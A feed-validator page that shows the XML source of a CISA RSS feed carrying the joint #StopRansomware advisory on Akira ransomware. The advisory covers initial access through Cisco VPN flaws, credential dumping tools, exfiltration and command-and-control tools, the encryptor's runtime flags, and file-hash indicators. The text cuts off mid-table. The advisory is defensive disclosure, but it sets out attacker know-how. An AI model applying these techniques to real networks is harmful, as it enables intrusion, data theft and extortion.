Congratulations!

[Valid RSS] This is a valid RSS feed.

Recommendations

This feed is valid, but interoperability with the widest range of feed readers could be improved by implementing the following recommendations.

Source: http://www.us-cert.gov/ncas/alerts.xml

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0" xml:base="https://www.cisa.gov/">
  3.  <channel>
  4.    <title>CISA Cybersecurity Advisories</title>
  5.    <link>https://www.cisa.gov/</link>
  6.    <description/>
  7.    <language>en</language>
  8.    
  9.    <item>
  10.  <title>#StopRansomware: Akira Ransomware</title>
  11.  <link>https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-109a</link>
  12.  <description>&lt;h3&gt;&lt;strong&gt;SUMMARY&lt;/strong&gt;&lt;/h3&gt;
  13. &lt;p&gt;&lt;em&gt;&lt;strong&gt;Note: &lt;/strong&gt;This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit&amp;nbsp;&lt;/em&gt;&lt;a href="https://www.cisa.gov/stopransomware"&gt;&lt;em&gt;stopransomware.gov&lt;/em&gt;&lt;/a&gt;&lt;em&gt; to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.&lt;/em&gt;&lt;/p&gt;
  14. &lt;p&gt;The United States’ Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), Europol’s European Cybercrime Centre (EC3), and the Netherlands’ National Cyber Security Centre (NCSC-NL)&amp;nbsp;are releasing this joint CSA to disseminate known Akira ransomware&amp;nbsp;IOCs and TTPs identified through FBI investigations and trusted third party reporting as recently as February 2024.&lt;/p&gt;
  15. &lt;p&gt;Since March 2023, Akira ransomware has impacted a wide range of businesses and critical infrastructure entities in North America, Europe, and Australia. In April 2023, following an initial focus on Windows systems,&amp;nbsp;Akira threat actors deployed a Linux variant targeting VMware ESXi virtual machines. As of January 1, 2024, the ransomware group has impacted over 250 organizations and claimed approximately $42 million (USD) in ransomware proceeds.&lt;/p&gt;
  16. &lt;p&gt;Early versions of the Akira&amp;nbsp;ransomware variant were written in C++ and encrypted files with a&amp;nbsp;&lt;code&gt;.akira&lt;/code&gt; extension; however, beginning in August 2023, some Akira attacks began deploying Megazord, using Rust-based code which encrypts files with a&amp;nbsp;&lt;code&gt;.powerranges&lt;/code&gt; extension.&amp;nbsp;&amp;nbsp;Akira threat actors have continued to use both Megazord and Akira, including Akira_v2 (identified by trusted third party investigations) interchangeably.&lt;/p&gt;
  17. &lt;p&gt;The FBI, CISA, EC3, and NCSC-NL encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents.&lt;/p&gt;
  18. &lt;p&gt;Download the PDF version of this report:&lt;/p&gt;
  19.  
  20.  
  21.  
  22.  
  23.  
  24. &lt;div class="c-file"&gt;
  25.    &lt;div class="c-file__download"&gt;
  26.    &lt;a href="https://www.cisa.gov/sites/default/files/2024-04/aa24-109a-stopransomware-akira-ransomware_2.pdf" class="c-file__link" target="_blank"&gt;AA24-109A #StopRansomware: Akira Ransomware&lt;/a&gt;
  27.    &lt;span class="c-file__size"&gt;(PDF,       591.05 KB
  28.  )&lt;/span&gt;
  29.  &lt;/div&gt;
  30. &lt;/div&gt;
  31. &lt;p&gt;For a downloadable copy of IOCs, see:&lt;/p&gt;
  32.  
  33.  
  34.  
  35.  
  36.  
  37. &lt;div class="c-file"&gt;
  38.    &lt;div class="c-file__download"&gt;
  39.    &lt;a href="https://www.cisa.gov/sites/default/files/2024-04/AA24-109A.stix_0.xml" class="c-file__link" target="_blank"&gt;AA24-109A STIX XML&lt;/a&gt;
  40.    &lt;span class="c-file__size"&gt;(XML,       114.01 KB
  41.  )&lt;/span&gt;
  42.  &lt;/div&gt;
  43. &lt;/div&gt;
  44.  
  45.  
  46.  
  47.  
  48.  
  49. &lt;div class="c-file"&gt;
  50.    &lt;div class="c-file__download"&gt;
  51.    &lt;a href="https://www.cisa.gov/sites/default/files/2024-04/AA24-109A-StopRansomware-Akira-Ransomware.stix_0.json" class="c-file__link" target="_blank"&gt;AA24-109A STIX JSON&lt;/a&gt;
  52.    &lt;span class="c-file__size"&gt;(JSON,       67.80 KB
  53.  )&lt;/span&gt;
  54.  &lt;/div&gt;
  55. &lt;/div&gt;
  56. &lt;h3&gt;&lt;strong&gt;TECHNICAL DETAILS&lt;/strong&gt;&lt;/h3&gt;
  57. &lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This advisory uses the MITRE ATT&amp;amp;CK® for Enterprise framework, version 14. See &lt;a href="https://attack.mitre.org/versions/v14/matrices/enterprise/" title="Enterprise Matrix"&gt;MITRE ATT&amp;amp;CK for Enterprise&lt;/a&gt; for all referenced tactics and techniques.&lt;/p&gt;
  58. &lt;h4&gt;&lt;strong&gt;Initial Access&lt;/strong&gt;&lt;/h4&gt;
  59. &lt;p&gt;The FBI and cybersecurity researchers have observed Akira threat actors obtaining initial access to organizations through a virtual private network (VPN) service without multifactor authentication (MFA) configured[&lt;a href="https://www.fortinet.com/blog/threat-research/ransomware-roundup-akira" title="Ransomware Roundup - Akira"&gt;1&lt;/a&gt;], mostly using known Cisco vulnerabilities [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1190/" title="Exploit Public-Facing Application"&gt;T1190&lt;/a&gt;]&amp;nbsp;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2020-3259" title="CVE-2020-3259"&gt;CVE-2020-3259&lt;/a&gt; and&amp;nbsp;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2023-20269" title="CVE-2023-20269"&gt;CVE-2023-20269&lt;/a&gt;.[&lt;a href="https://blogs.cisco.com/security/akira-ransomware-targeting-vpns-without-multi-factor-authentication" title="Akira Ransomware Targeting VPNs without Multi-Factor Authentication"&gt;2&lt;/a&gt;],[&lt;a href="https://www.truesec.com/hub/blog/akira-ransomware-and-exploitation-of-cisco-anyconnect-vulnerability-cve-2020-3259" title="Akira Ransomware and Exploitation of Cisco Anyconnect Vulnerability CVE-2020-3259"&gt;3&lt;/a&gt;],[&lt;a href="https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-akira" title="Ransomware Spotlight: Akira"&gt;4&lt;/a&gt;] Additional methods of initial access include the use of external-facing services such as Remote Desktop Protocol (RDP) [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1133/" title="External Remote Services"&gt;T1133&lt;/a&gt;],&amp;nbsp;spear phishing [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1566/001/" title="Phishing: Spearphishing Attachment"&gt;T1566.001&lt;/a&gt;][&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1566/002/" title="Phishing: Spearphishing Link"&gt;T1566.002&lt;/a&gt;], and the abuse of valid credentials[&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/" title="Valid Accounts"&gt;T1078&lt;/a&gt;].[&lt;a href="https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-akira" title="Ransomware Spotlight: Akira"&gt;4&lt;/a&gt;]&lt;/p&gt;
  60. &lt;h4&gt;&lt;strong&gt;Persistence and Discovery&lt;/strong&gt;&lt;/h4&gt;
  61. &lt;p&gt;Once initial access is obtained, Akira threat actors attempt to abuse the functions of domain controllers by creating new domain accounts [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1136/002/" title="Create Account: Domain Account"&gt;T1136.002&lt;/a&gt;] to establish persistence. In some instances, the FBI identified Akira threat actors creating an administrative account named &lt;code&gt;itadm&lt;/code&gt;.&lt;/p&gt;
  62. &lt;p&gt;According to FBI and open source reporting, Akira threat actors leverage post-exploitation attack techniques, such as Kerberoasting[&lt;a href="https://www.crowdstrike.com/cybersecurity-101/kerberoasting/" title="KERBEROASTING ATTACKS"&gt;5&lt;/a&gt;], to extract credentials stored in the process memory of the Local Security Authority Subsystem Service (LSASS) [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1003/001/" title="OS Credential Dumping: LSASS Memory"&gt;T1003.001&lt;/a&gt;]&lt;a&gt;.&lt;/a&gt;[&lt;a href="https://news.sophos.com/en-us/2023/12/21/akira-again-the-ransomware-that-keeps-on-taking/" title="Akira, again: The ransomware that keeps on taking"&gt;6&lt;/a&gt;] Akira threat actors also use credential scraping tools [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1003/" title="OS Credential Dumping"&gt;T1003&lt;/a&gt;] like&amp;nbsp;Mimikatz and&amp;nbsp;LaZagne&amp;nbsp;to aid in privilege escalation. Tools like SoftPerfect and Advanced IP Scanner are often used for network device discovery (reconnaissance) purposes [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1016/" title="System Network Configuration Discovery"&gt;T1016&lt;/a&gt;] and &lt;code&gt;net&lt;/code&gt; Windows commands are used to identify domain controllers [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1018/" title="Remote System Discovery"&gt;T1018&lt;/a&gt;] and gather information on domain trust relationships [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1482" title="Domain Trust Discovery"&gt;T1482&lt;/a&gt;].&lt;/p&gt;
  63. &lt;p&gt;See Table 1 for a descriptive listing of these tools.&lt;/p&gt;
  64. &lt;h4&gt;&lt;strong&gt;Defense Evasion&lt;/strong&gt;&lt;/h4&gt;
  65. &lt;p&gt;Based on trusted third party investigations, Akira threat actors have been observed deploying two distinct ransomware variants against different system architectures within the same compromise event. This marks a shift from recently reported Akira ransomware activity. Akira threat actors were first observed deploying the Windows-specific “Megazord” ransomware, with further analysis revealing that a second payload was concurrently deployed in this attack (which was later identified as a novel variant of the Akira ESXi encryptor, “Akira_v2”).&lt;/p&gt;
  66. &lt;p&gt;As Akira threat actors prepare for lateral movement, they commonly disable security software to avoid detection. Cybersecurity researchers have observed Akira threat actors using PowerTool to exploit the Zemana AntiMalware driver[&lt;a href="https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-akira" title="Ransomware Spotlight: Akira"&gt;4&lt;/a&gt;] and terminate antivirus-related processes [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1562/001" title="Impair Defenses: Disable or Modify Tools"&gt;T1562.001&lt;/a&gt;].&lt;/p&gt;
  67. &lt;h4&gt;&lt;strong&gt;Exfiltration and Impact&lt;/strong&gt;&lt;/h4&gt;
  68. &lt;p&gt;Akira&amp;nbsp;threat actors leverage tools such as&amp;nbsp;FileZilla, WinRAR [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1560/001/" title="Archive Collected Data: Archive via Utility"&gt;T1560.001&lt;/a&gt;], WinSCP, and&amp;nbsp;RClone to exfiltrate data [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1048/" title="Exfiltration Over Alternative Protocol"&gt;T1048&lt;/a&gt;]. To establish command and control channels, threat actors leverage readily available tools like AnyDesk, MobaXterm, RustDesk,&amp;nbsp;Ngrok, and Cloudflare Tunnel, enabling exfiltration through various protocols such as File Transfer Protocol (FTP), Secure File Transfer Protocol (SFTP), and cloud storage services like Mega [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1537" title="Transfer Data to Cloud Account"&gt;T1537&lt;/a&gt;] to connect to exfiltration servers.&lt;/p&gt;
  69. &lt;p&gt;Akira threat actors use a double-extortion model [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1657/" title="Financial Theft"&gt;T1657&lt;/a&gt;] and encrypt systems [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1486/" title="Data Encrypted for Impact"&gt;T1486&lt;/a&gt;] after exfiltrating data. The Akira ransom note provides each company with a unique code and instructions to contact the threat actors via &lt;code&gt;a&amp;nbsp;.onion&lt;/code&gt; URL.&amp;nbsp;Akira threat actors do not leave an initial ransom demand or payment instructions on compromised networks, and do not relay this information until contacted by the victim.&amp;nbsp;Ransom payments are paid in Bitcoin to cryptocurrency wallet addresses provided by the threat actors. To further apply pressure, Akira threat actors threaten to publish exfiltrated data on the Tor network, and in some instances have called victimized companies, according to FBI reporting.&lt;/p&gt;
  70. &lt;h4&gt;&lt;strong&gt;Encryption&lt;/strong&gt;&lt;/h4&gt;
  71. &lt;p&gt;Akira threat actors utilize a sophisticated hybrid encryption scheme to lock data. This involves combining a ChaCha20&amp;nbsp;stream cipher with an RSA public-key cryptosystem for speed and secure key exchange [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1486/" title="Data Encrypted for Impact"&gt;T1486&lt;/a&gt;]. This multilayered approach tailors encryption methods based on file type and size and is capable of full or partial encryption.&amp;nbsp;Encrypted files are appended with either a &lt;code&gt;.akira&lt;/code&gt; or&amp;nbsp;&lt;code&gt;.powerranges&lt;/code&gt; extension. To further inhibit system recovery, Akira’s encryptor (&lt;code&gt;w.exe&lt;/code&gt;) utilizes&amp;nbsp;PowerShell commands to delete volume shadow copies (VSS) on Windows systems [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1490" title="Inhibit System Recovery"&gt;T1490&lt;/a&gt;]. Additionally, a ransom note named&amp;nbsp;&lt;code&gt;fn.txt&lt;/code&gt; appears in both the root directory (&lt;code&gt;C:&lt;/code&gt;) and each users’ home directory (&lt;code&gt;C:\Users&lt;/code&gt;).&lt;/p&gt;
  72. &lt;p&gt;Trusted third party analysis identified that the Akira_v2 encryptor is an upgrade from its previous version, which includes additional functionalities due to the language it’s written in (Rust). Previous versions of the encryptor provided options to insert arguments at runtime, including:&lt;/p&gt;
  73. &lt;ul&gt;
  74. &lt;li&gt;&lt;code&gt;-p --encryption_path (targeted file/folder paths)&lt;/code&gt;&lt;/li&gt;
  75. &lt;li&gt;&lt;code&gt;-s --share_file (targeted network drive path)&lt;/code&gt;&lt;/li&gt;
  76. &lt;li&gt;&lt;code&gt;-n --encryption_percent (percentage of encryption)&lt;/code&gt;&lt;/li&gt;
  77. &lt;li&gt;&lt;code&gt;--fork (create a child process for encryption&lt;/code&gt;&lt;/li&gt;
  78. &lt;/ul&gt;
  79. &lt;p&gt;The ability to insert additional threads allows Akira threat actors to have more granular control over the number of CPU cores in use, increasing the speed and efficiency of the encryption process. The new version also adds a layer of protection, utilizing the Build ID as a run condition to hinder dynamic analysis. The encryptor is unable to execute successfully without the unique Build ID. The ability to deploy against only virtual machines using “&lt;code&gt;vmonly&lt;/code&gt;” and the ability to stop running virtual machines with “&lt;code&gt;stopvm&lt;/code&gt;” functionalities have also been observed implemented for Akira_v2. After encryption, the Linux ESXi variant may include the file extension “&lt;code&gt;akiranew&lt;/code&gt;” or add a ransom note named “&lt;code&gt;akiranew.txt&lt;/code&gt;” in directories where files were encrypted with the new nomenclature.&lt;/p&gt;
  80. &lt;h4&gt;&lt;strong&gt;Leveraged Tools&lt;/strong&gt;&lt;/h4&gt;
  81. &lt;p&gt;Table 1 lists publicly available tools and applications Akira threat actors have used, including legitimate tools repurposed for their operations. Use of these tools and applications should not be attributed as malicious without analytical evidence to support threat actor use and/or control.&lt;/p&gt;
  82. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  83. &lt;caption&gt;&lt;em&gt;Table 1: Tools Leveraged by Akira Ransomware Actors&lt;/em&gt;&lt;/caption&gt;
  84. &lt;thead&gt;
  85. &lt;tr&gt;
  86. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Name&lt;/strong&gt;&lt;/th&gt;
  87. &lt;th role="columnheader"&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/th&gt;
  88. &lt;/tr&gt;
  89. &lt;/thead&gt;
  90. &lt;tbody&gt;
  91. &lt;tr&gt;
  92. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/software/S0552/" title="AdFind"&gt;AdFind&lt;/a&gt;&lt;/td&gt;
  93. &lt;td&gt;&lt;code&gt;AdFind.exe&lt;/code&gt; is used to query and retrieve information from Active Directory.&lt;/td&gt;
  94. &lt;/tr&gt;
  95. &lt;tr&gt;
  96. &lt;td&gt;Advanced IP Scanner&lt;/td&gt;
  97. &lt;td&gt;A network scanner is used to locate all the computers on a network and conduct a scan of their ports. The program shows all network devices, gives access to shared folders, and provides remote control of computers (via RDP and Radmin).&lt;/td&gt;
  98. &lt;/tr&gt;
  99. &lt;tr&gt;
  100. &lt;td&gt;AnyDesk&lt;/td&gt;
  101. &lt;td&gt;A common software that can be maliciously used by threat actors to obtain remote access and maintain persistence [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1219" title="Remote Access Software"&gt;T1219&lt;/a&gt;]. AnyDesk also supports remote file transfer.&lt;/td&gt;
  102. &lt;/tr&gt;
  103. &lt;tr&gt;
  104. &lt;td&gt;&lt;a href="https://attack.mitre.org/software/S0349" title="LaZagne"&gt;LaZagne&lt;/a&gt;&lt;/td&gt;
  105. &lt;td&gt;Allows users to recover stored passwords on Windows, Linux, and OSX systems.&lt;/td&gt;
  106. &lt;/tr&gt;
  107. &lt;tr&gt;
  108. &lt;td&gt;PCHunter64&lt;/td&gt;
  109. &lt;td&gt;A tool used to acquire detailed process and system information&lt;a&gt;&amp;nbsp;[&lt;/a&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1082/" title="System Information Discovery"&gt;T1082&lt;/a&gt;].[&lt;a href="https://news.sophos.com/en-us/2023/05/09/akira-ransomware-is-bringin-88-back/" title="Akira Ransomware is “bringin’ 1988 back”"&gt;7&lt;/a&gt;]&lt;/td&gt;
  110. &lt;/tr&gt;
  111. &lt;tr&gt;
  112. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1059/001/" title="Command and Scripting Interpreter: PowerShell"&gt;PowerShell&lt;/a&gt;&lt;/td&gt;
  113. &lt;td&gt;A cross-platform task automation solution made up of a command line shell, a scripting language, and a configuration management framework, which runs on Windows, Linux, and macOS.&lt;/td&gt;
  114. &lt;/tr&gt;
  115. &lt;tr&gt;
  116. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/software/S0002/" title="Mimikatz"&gt;Mimikatz&lt;/a&gt;&lt;/td&gt;
  117. &lt;td&gt;Allows users to view and save authentication credentials such as Kerberos tickets.&lt;/td&gt;
  118. &lt;/tr&gt;
  119. &lt;tr&gt;
  120. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/software/S0508/" title="ngrok"&gt;Ngrok&lt;/a&gt;&lt;/td&gt;
  121. &lt;td&gt;A reverse proxy tool [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1090/" title="Proxy"&gt;T1090&lt;/a&gt;] used to create a secure tunnel to servers behind firewalls or local machines without a public IP address.&lt;/td&gt;
  122. &lt;/tr&gt;
  123. &lt;tr&gt;
  124. &lt;td&gt;&lt;a href="https://attack.mitre.org/software/S1040" title="Rclone"&gt;RClone&lt;/a&gt;&lt;/td&gt;
  125. &lt;td&gt;A command line program used to sync files with cloud storage services [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1567/002/" title="Exfiltration Over Web Service: Exfiltration to Cloud Storage"&gt;T1567.002&lt;/a&gt;] such as Mega.&lt;/td&gt;
  126. &lt;/tr&gt;
  127. &lt;tr&gt;
  128. &lt;td&gt;SoftPerfect&lt;/td&gt;
  129. &lt;td&gt;A network scanner (&lt;code&gt;netscan.exe&lt;/code&gt;) used to ping computers, scan ports, discover shared folders, and retrieve information about network devices via Windows Management Instrumentation (WMI), Simple Network Management Protocol (SNMP), HTTP, Secure Shell (SSH) and PowerShell. It also scans for remote services, registry, files, and performance counters.&lt;/td&gt;
  130. &lt;/tr&gt;
  131. &lt;tr&gt;
  132. &lt;td&gt;WinRAR&lt;/td&gt;
  133. &lt;td&gt;Used to split compromised data into segments and to compress [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1560/001/" title="Archive Collected Data: Archive via Utility"&gt;T1560.001&lt;/a&gt;] files into&amp;nbsp;&lt;code&gt;.RAR&lt;/code&gt; format for exfiltration.&lt;/td&gt;
  134. &lt;/tr&gt;
  135. &lt;tr&gt;
  136. &lt;td&gt;WinSCP&lt;/td&gt;
  137. &lt;td&gt;Windows Secure Copy is a free and open source SSH File Transfer Protocol, File Transfer Protocol, WebDAV, Amazon S3, and secure copy protocol client. Akira&amp;nbsp;threat actors have used it to transfer data [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1048/" title="Exfiltration Over Alternative Protocol"&gt;T1048&lt;/a&gt;] from a compromised network to actor-controlled accounts.&lt;/td&gt;
  138. &lt;/tr&gt;
  139. &lt;/tbody&gt;
  140. &lt;/table&gt;
  141. &lt;h4&gt;&lt;strong&gt;Indicators of Compromise&lt;/strong&gt;&lt;/h4&gt;
  142. &lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; Investigation or vetting of these indicators is recommended prior to taking action, such as blocking.&lt;/p&gt;
  143. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  144. &lt;caption&gt;&lt;em&gt;Table 2a: Malicious Files Affiliated with Akira Ransomware&lt;/em&gt;&lt;/caption&gt;
  145. &lt;thead&gt;
  146. &lt;tr&gt;
  147. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;File Name&lt;/strong&gt;&lt;/th&gt;
  148. &lt;th role="columnheader"&gt;&lt;strong&gt;Hash (SHA-256)&lt;/strong&gt;&lt;/th&gt;
  149. &lt;th role="columnheader"&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/th&gt;
  150. &lt;/tr&gt;
  151. &lt;/thead&gt;
  152. &lt;tbody&gt;
  153. &lt;tr&gt;
  154. &lt;td&gt;w.exe&lt;/td&gt;
  155. &lt;td&gt;d2fd0654710c27dcf37b6c1437880020824e161dd0bf28e3a133ed777242a0ca&lt;/td&gt;
  156. &lt;td&gt;Akira ransomware&lt;/td&gt;
  157. &lt;/tr&gt;
  158. &lt;tr&gt;
  159. &lt;td&gt;Win.exe&lt;/td&gt;
  160. &lt;td&gt;dcfa2800754e5722acf94987bb03e814edcb9acebda37df6da1987bf48e5b05e&lt;/td&gt;
  161. &lt;td&gt;Akira ransomware encryptor&lt;/td&gt;
  162. &lt;/tr&gt;
  163. &lt;tr&gt;
  164. &lt;td&gt;AnyDesk.exe&lt;/td&gt;
  165. &lt;td&gt;bc747e3bf7b6e02c09f3d18bdd0e64eef62b940b2f16c9c72e647eec85cf0138&lt;/td&gt;
  166. &lt;td&gt;Remote desktop application&lt;/td&gt;
  167. &lt;/tr&gt;
  168. &lt;tr&gt;
  169. &lt;td&gt;Gcapi.dll&lt;/td&gt;
  170. &lt;td&gt;73170761d6776c0debacfbbc61b6988cb8270a20174bf5c049768a264bb8ffaf&lt;/td&gt;
  171. &lt;td&gt;DLL file that assists with the execution of AnyDesk.exe&lt;/td&gt;
  172. &lt;/tr&gt;
  173. &lt;tr&gt;
  174. &lt;td&gt;Sysmon.exe&lt;/td&gt;
  175. &lt;td&gt;1b60097bf1ccb15a952e5bcc3522cf5c162da68c381a76abc2d5985659e4d386&lt;/td&gt;
  176. &lt;td&gt;Ngrok tool for persistence&lt;/td&gt;
  177. &lt;/tr&gt;
  178. &lt;tr&gt;
  179. &lt;td&gt;Config.yml&lt;/td&gt;
  180. &lt;td&gt;Varies by use&lt;/td&gt;
  181. &lt;td&gt;Ngrok configuration file&lt;/td&gt;
  182. &lt;/tr&gt;
  183. &lt;tr&gt;
  184. &lt;td&gt;Rclone.exe&lt;/td&gt;
  185. &lt;td&gt;aaa647327ba5b855bedea8e889b3fafdc05a6ca75d1cfd98869432006d6fecc9&lt;/td&gt;
  186. &lt;td&gt;Exfiltration tool&lt;/td&gt;
  187. &lt;/tr&gt;
  188. &lt;tr&gt;
  189. &lt;td&gt;Winscp.rnd&lt;/td&gt;
  190. &lt;td&gt;7d6959bb7a9482e1caa83b16ee01103d982d47c70c72fdd03708e2b7f4c552c4&lt;/td&gt;
  191. &lt;td&gt;Network file transfer program&lt;/td&gt;
  192. &lt;/tr&gt;
  193. &lt;tr&gt;
  194. &lt;td&gt;WinSCP-6.1.2-Setup.exe&lt;/td&gt;
  195. &lt;td&gt;36cc31f0ab65b745f25c7e785df9e72d1c8919d35a1d7bd4ce8050c8c068b13c&lt;/td&gt;
  196. &lt;td&gt;Network file transfer program&lt;/td&gt;
  197. &lt;/tr&gt;
  198. &lt;tr&gt;
  199. &lt;td&gt;Akira_v2&lt;/td&gt;
  200. &lt;td&gt;
  201. &lt;p&gt;3298d203c2acb68c474e5fdad8379181890b4403d6491c523c13730129be3f75&lt;/p&gt;
  202. &lt;p&gt;0ee1d284ed663073872012c7bde7fac5ca1121403f1a5d2d5411317df282796c&lt;/p&gt;
  203. &lt;/td&gt;
  204. &lt;td&gt;Akira_v2 ransomware&lt;/td&gt;
  205. &lt;/tr&gt;
  206. &lt;tr&gt;
  207. &lt;td&gt;Megazord&lt;/td&gt;
  208. &lt;td&gt;
  209. &lt;p&gt;ffd9f58e5fe8502249c67cad0123ceeeaa6e9f69b4ec9f9e21511809849eb8fc&lt;/p&gt;
  210. &lt;p&gt;dfe6fddc67bdc93b9947430b966da2877fda094edf3e21e6f0ba98a84bc53198&lt;/p&gt;
  211. &lt;p&gt;131da83b521f610819141d5c740313ce46578374abb22ef504a7593955a65f07&lt;/p&gt;
  212. &lt;p&gt;9f393516edf6b8e011df6ee991758480c5b99a0efbfd68347786061f0e04426c&lt;/p&gt;
  213. &lt;p&gt;9585af44c3ff8fd921c713680b0c2b3bbc9d56add848ed62164f7c9b9f23d065&lt;/p&gt;
  214. &lt;p&gt;2f629395fdfa11e713ea8bf11d40f6f240acf2f5fcf9a2ac50b6f7fbc7521c83&lt;/p&gt;
  215. &lt;p&gt;7f731cc11f8e4d249142e99a44b9da7a48505ce32c4ee4881041beeddb3760be&lt;/p&gt;
  216. &lt;p&gt;95477703e789e6182096a09bc98853e0a70b680a4f19fa2bf86cbb9280e8ec5a&lt;/p&gt;
  217. &lt;p&gt;0c0e0f9b09b80d87ebc88e2870907b6cacb4cd7703584baf8f2be1fd9438696d&lt;/p&gt;
  218. &lt;p&gt;C9c94ac5e1991a7db42c7973e328fceeb6f163d9f644031bdfd4123c7b3898b0&lt;/p&gt;
  219. &lt;/td&gt;
  220. &lt;td&gt;Akira “Megazord” ransomware&lt;/td&gt;
  221. &lt;/tr&gt;
  222. &lt;tr&gt;
  223. &lt;td&gt;VeeamHax.exe&lt;/td&gt;
  224. &lt;td&gt;aaa6041912a6ba3cf167ecdb90a434a62feaf08639c59705847706b9f492015d&lt;/td&gt;
  225. &lt;td&gt;Plaintext credential leaking tool&lt;/td&gt;
  226. &lt;/tr&gt;
  227. &lt;tr&gt;
  228. &lt;td&gt;Veeam-Get-Creds.ps1&lt;/td&gt;
  229. &lt;td&gt;18051333e658c4816ff3576a2e9d97fe2a1196ac0ea5ed9ba386c46defafdb88&lt;/td&gt;
  230. &lt;td&gt;PowerShell script for obtaining and decrypting accounts from Veeam servers&lt;/td&gt;
  231. &lt;/tr&gt;
  232. &lt;tr&gt;
  233. &lt;td&gt;PowershellKerberos TicketDumper&lt;/td&gt;
  234. &lt;td&gt;5e1e3bf6999126ae4aa52146280fdb913912632e8bac4f54e98c58821a307d32&lt;/td&gt;
  235. &lt;td&gt;Kerberos ticket dumping tool from LSA cache&lt;/td&gt;
  236. &lt;/tr&gt;
  237. &lt;tr&gt;
  238. &lt;td&gt;sshd.exe&lt;/td&gt;
  239. &lt;td&gt;8317ff6416af8ab6eb35df3529689671a700fdb61a5e6436f4d6ea8ee002d694&lt;/td&gt;
  240. &lt;td&gt;OpenSSH Backdoor&lt;/td&gt;
  241. &lt;/tr&gt;
  242. &lt;tr&gt;
  243. &lt;td&gt;ipscan-3.9.1-setup.exe&lt;/td&gt;
  244. &lt;td&gt;892405573aa34dfc49b37e4c35b655543e88ec1c5e8ffb27ab8d1bbf90fc6ae0&lt;/td&gt;
  245. &lt;td&gt;Network scanner that scans IP addresses and ports&lt;/td&gt;
  246. &lt;/tr&gt;
  247. &lt;/tbody&gt;
  248. &lt;/table&gt;
  249. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  250. &lt;caption&gt;&lt;em&gt;Table 2b: Malicious Files Affiliated with Akira Ransomware&lt;/em&gt;&lt;/caption&gt;
  251. &lt;thead&gt;
  252. &lt;tr&gt;
  253. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;File Name&lt;/strong&gt;&lt;/th&gt;
  254. &lt;th role="columnheader"&gt;&lt;strong&gt;Hash (MD5)&lt;/strong&gt;&lt;/th&gt;
  255. &lt;th role="columnheader"&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/th&gt;
  256. &lt;/tr&gt;
  257. &lt;/thead&gt;
  258. &lt;tbody&gt;
  259. &lt;tr&gt;
  260. &lt;td&gt;winrar-x64-623.exe&lt;/td&gt;
  261. &lt;td&gt;7a647af3c112ad805296a22b2a276e7c&lt;/td&gt;
  262. &lt;td&gt;Network file transfer program&lt;/td&gt;
  263. &lt;/tr&gt;
  264. &lt;/tbody&gt;
  265. &lt;/table&gt;
  266. &lt;p&gt;&lt;strong&gt;Disclaimer:&amp;nbsp;&lt;/strong&gt;While the date/time can be changed by Akira threat actors, trusted third-party analysis confirmed these samples were created on December 28, 2023.&lt;/p&gt;
  267. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  268. &lt;caption&gt;&lt;em&gt;Table 3: Windows Akira Ransomware Samples&lt;/em&gt;&lt;/caption&gt;
  269. &lt;thead&gt;
  270. &lt;tr&gt;
